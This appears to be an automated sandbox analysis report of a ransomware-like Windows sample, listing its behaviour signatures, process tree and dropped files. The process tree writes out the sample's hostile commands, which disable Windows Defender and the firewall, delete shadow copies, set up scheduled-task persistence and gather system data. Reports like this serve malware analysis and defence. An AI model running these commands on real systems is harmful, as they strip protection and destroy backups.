Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    19/09/2026, 15:02

General

  • Target
    2026-09-19_9426a717d763aa1a7f7f9e1aae2a57da_destroyer_elex_glassworm_ngrbot_wannacry.exe
  • Size 49KB
  • Sample260919-settlaxs3l
  • SHA256 735daf11b0b4e76e1ccb6ca69fe514aecd363a61eb7bf9ffa72d17350c9c0284
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Contains code to disable Windows Defender 1 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Detects command variations typically used by ransomware 1 IoCs
  • Detects executables embedding registry key / value combination indicative of disabling Windows Defen 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Disables RegEdit via registry modification 1 IoCs
  • Disables Task Manager via registry modification
  • Drops file in Drivers directory 1 IoCs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Creates a file in the Startup directory 1 TTPs 64 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

  • Disables service(s) 3 TTPs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Stops running service(s) 4 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Discovers running processes 1 TTPs 1 IoCs

    Running process information can be used to identify security tools or plan follow-on actions.

  • Drops file in System32 directory 4 IoCs
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Launches sc.exe 10 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Executes a command shell one-liner 1 TTPs 7 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Interacts with shadow copies 3 TTPs 2 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Modifies Control Panel 1 IoCs
  • Modifies data under HKEY_USERS 4 IoCs
  • Modifies registry class 16 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 39 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-09-19_9426a717d763aa1a7f7f9e1aae2a57da_destroyer_elex_glassworm_ngrbot_wannacry.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-09-19_9426a717d763aa1a7f7f9e1aae2a57da_destroyer_elex_glassworm_ngrbot_wannacry.exe"
    1⤵
    • Modifies Windows Defender DisableAntiSpyware settings
    • Disables RegEdit via registry modification
    • Drops file in Drivers directory
    • Creates a file in the Startup directory
    • Adds Run key to start application
    • Drops file in System32 directory
    • Sets desktop wallpaper using registry
    • Modifies Control Panel
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4572
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA=
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3476
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop wscsvc
      2⤵
      • Launches sc.exe
      PID:460
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config wscsvc start= disabled
      2⤵
      • Launches sc.exe
      PID:1452
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop SecurityHealthService
      2⤵
      • Launches sc.exe
      PID:1164
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
      2⤵
      • Launches sc.exe
      PID:1240
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop WinDefend
      2⤵
      • Launches sc.exe
      PID:1248
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config WinDefend start= disabled
      2⤵
      • Launches sc.exe
      PID:3248
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop MsMpSvc
      2⤵
      • Launches sc.exe
      PID:3140
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
      2⤵
      • Launches sc.exe
      PID:5424
    • C:\Windows\System32\fodhelper.exe
      "C:\Windows\System32\fodhelper.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2432
      • C:\Users\Admin\AppData\Local\Temp\2026-09-19_9426a717d763aa1a7f7f9e1aae2a57da_destroyer_elex_glassworm_ngrbot_wannacry.exe
        "C:\Users\Admin\AppData\Local\Temp\2026-09-19_9426a717d763aa1a7f7f9e1aae2a57da_destroyer_elex_glassworm_ngrbot_wannacry.exe"
        3⤵
          PID:616
      • C:\Windows\System32\wscript.exe
        "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
        2⤵
        • Executes a VBScript file via the Windows Script Host.
        PID:3116
      • C:\Windows\SYSTEM32\schtasks.exe
        "schtasks" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\2026-09-19_9426a717d763aa1a7f7f9e1aae2a57da_destroyer_elex_glassworm_ngrbot_wannacry.exe" /sc onlogon /f
        2⤵
        • Scheduled Task/Job: Scheduled Task
        PID:1780
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:1316
        • C:\Windows\system32\vssadmin.exe
          vssadmin delete shadows /all /quiet
          3⤵
          • Interacts with shadow copies
          PID:5652
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic shadowcopy delete
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:3160
      • C:\Windows\SYSTEM32\cmd.exe
        "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4328
        • C:\Windows\system32\systeminfo.exe
          systeminfo
          3⤵
          • Gathers system information
          PID:4420
      • C:\Windows\SYSTEM32\cmd.exe
        "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:3428
        • C:\Windows\system32\tasklist.exe
          tasklist
          3⤵
          • Discovers running processes
          • Suspicious use of AdjustPrivilegeToken
          PID:3552
      • C:\Windows\SYSTEM32\cmd.exe
        "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:5872
        • C:\Windows\system32\whoami.exe
          whoami
          3⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:5952
      • C:\Windows\SYSTEM32\cmd.exe
        "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:1248
        • C:\Windows\system32\net.exe
          net user
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:4132
          • C:\Windows\system32\net1.exe
            C:\Windows\system32\net1 user
            4⤵
              PID:3616
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:2372
          • C:\Windows\system32\ipconfig.exe
            ipconfig /all
            3⤵
            • Gathers network information
            PID:2028
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:1672
          • C:\Windows\system32\NETSTAT.EXE
            netstat -an
            3⤵
            • Gathers network information
            • Suspicious use of AdjustPrivilegeToken
            PID:4112
        • C:\Windows\SYSTEM32\schtasks.exe
          "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\2026-09-19_9426a717d763aa1a7f7f9e1aae2a57da_destroyer_elex_glassworm_ngrbot_wannacry.exe" /sc daily /f
          2⤵
          • Scheduled Task/Job: Scheduled Task
          PID:5408
          • C:\Windows\System32\Conhost.exe
            \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            3⤵
              PID:1452
          • C:\Windows\System32\wscript.exe
            "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
            2⤵
            • Executes a VBScript file via the Windows Script Host.
            PID:1152
          • C:\Windows\System32\notepad.exe
            "C:\Windows\System32\notepad.exe"
            2⤵
              PID:5964
            • C:\Windows\System32\vssadmin.exe
              "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
              2⤵
              • Interacts with shadow copies
              PID:2976
            • C:\Windows\System32\wbem\WMIC.exe
              "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
              2⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:5624
            • C:\Windows\System32\net.exe
              "C:\Windows\System32\net.exe" stop srservice
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:3316
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 stop srservice
                3⤵
                  PID:676
              • C:\Windows\System32\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
                2⤵
                • Modifies Windows Firewall
                • Event Triggered Execution: Netsh Helper DLL
                PID:3076
              • C:\Windows\System32\sc.exe
                "C:\Windows\System32\sc.exe" config i8042prt start= disabled
                2⤵
                • Launches sc.exe
                PID:3268
              • C:\Windows\System32\sc.exe
                "C:\Windows\System32\sc.exe" stop i8042prt
                2⤵
                • Launches sc.exe
                PID:3412
            • C:\Windows\system32\LogonUI.exe
              "LogonUI.exe" /flags:0x0 /state0:0xa3a1f855 /state1:0x41c64e6d
              1⤵
              • Drops file in System32 directory
              • Drops file in Windows directory
              • Checks processor information in registry
              • Modifies data under HKEY_USERS
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of SetWindowsHookEx
              PID:4092
            • C:\Windows\System32\svchost.exe
              C:\Windows\System32\svchost.exe -k CameraMonitor
              1⤵
                PID:1344
              • C:\Users\Admin\AppData\Local\Temp\2026-09-19_9426a717d763aa1a7f7f9e1aae2a57da_destroyer_elex_glassworm_ngrbot_wannacry.exe
                C:\Users\Admin\AppData\Local\Temp\2026-09-19_9426a717d763aa1a7f7f9e1aae2a57da_destroyer_elex_glassworm_ngrbot_wannacry.exe
                1⤵
                  PID:1980
                • C:\Windows\system32\vssvc.exe
                  C:\Windows\system32\vssvc.exe
                  1⤵
                    PID:2740
                  • C:\Windows\System32\svchost.exe
                    C:\Windows\System32\svchost.exe -k swprv
                    1⤵
                      PID:3116
                    • C:\Windows\system32\svchost.exe
                      C:\Windows\system32\svchost.exe -k GPSvcGroup
                      1⤵
                        PID:4280

                      Network

                            MITRE ATT&CK Enterprise v16

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                            Downloads

                            invoice_1.pdf

                            • Path C:\ProgramData\invoice_1.pdf
                            • Size 66KB
                            • SHA256 34dc85948b568d3f81f784da46982c5c9994b790bc7b6b55a2b1d36f1fa03489
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            doc_3.pdf

                            • Path C:\SystemVolumeInformation\doc_3.pdf
                            • Size 66KB
                            • SHA256 a2828b5c2decd94110bd3a3055f65243e55c6c0eaee23181e9fbe970a6688fbf
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            createshortcut.vbs

                            • Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
                            • Size 309B
                            • SHA256 93d69fecb43f058d1fb1c109167d35c67ee4324e74a2d4013c8f6a76dde9f2ec
                            • MD5 SHA1 SHA512 TLSH

                            del.bat

                            • Path C:\Users\Admin\AppData\Local\Temp\del.bat
                            • Size 59B
                            • SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
                            • MD5 SHA1 SHA512 TLSH

                            makelnk.vbs

                            • Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
                            • Size 310B
                            • SHA256 c2989de5ac786285f9c8094281c5c31e7030064a63c85083683451f62e1e4a13
                            • MD5 SHA1 SHA512 TLSH

                            memory/3476-18-0x000001FA48760000-0x000001FA48782000-memory.dmp

                            memory/3476-1085-0x000001FA60EC0000-0x000001FA60F72000-memory.dmp

                            memory/3476-1413-0x000001FA60E90000-0x000001FA60E9A000-memory.dmp

                            memory/3476-1052-0x000001FA60EA0000-0x000001FA60EBE000-memory.dmp

                            memory/4572-13-0x00007FFF46720000-0x00007FFF470C4000-memory.dmp

                            memory/4572-3-0x00007FFF46720000-0x00007FFF470C4000-memory.dmp

                            memory/4572-8-0x00007FFF46720000-0x00007FFF470C4000-memory.dmp

                            memory/4572-0-0x00007FFF468AF000-0x00007FFF468B0000-memory.dmp

                            memory/4572-7-0x00007FFF46720000-0x00007FFF470C4000-memory.dmp

                            memory/4572-12-0x000000001DF20000-0x000000001E448000-memory.dmp

                            memory/4572-11-0x00007FFF46720000-0x00007FFF470C4000-memory.dmp

                            memory/4572-9-0x00007FFF46720000-0x00007FFF470C4000-memory.dmp

                            memory/4572-4-0x00007FFF46720000-0x00007FFF470C4000-memory.dmp

                            memory/4572-10-0x000000001D4E0000-0x000000001D6A2000-memory.dmp

                            memory/4572-2234-0x00007FFF46720000-0x00007FFF470C4000-memory.dmp

                            memory/4572-2-0x00007FFF46720000-0x00007FFF470C4000-memory.dmp

                            memory/4572-2242-0x00007FFF46720000-0x00007FFF470C4000-memory.dmp

                            memory/4572-2243-0x00007FFF46720000-0x00007FFF470C4000-memory.dmp

                            memory/4572-1-0x0000000000040000-0x0000000000052000-memory.dmp

                            memory/4572-2252-0x00007FFF46720000-0x00007FFF470C4000-memory.dmp

                            memory/5964-2245-0x000001EEDCC50000-0x000001EEDCC51000-memory.dmp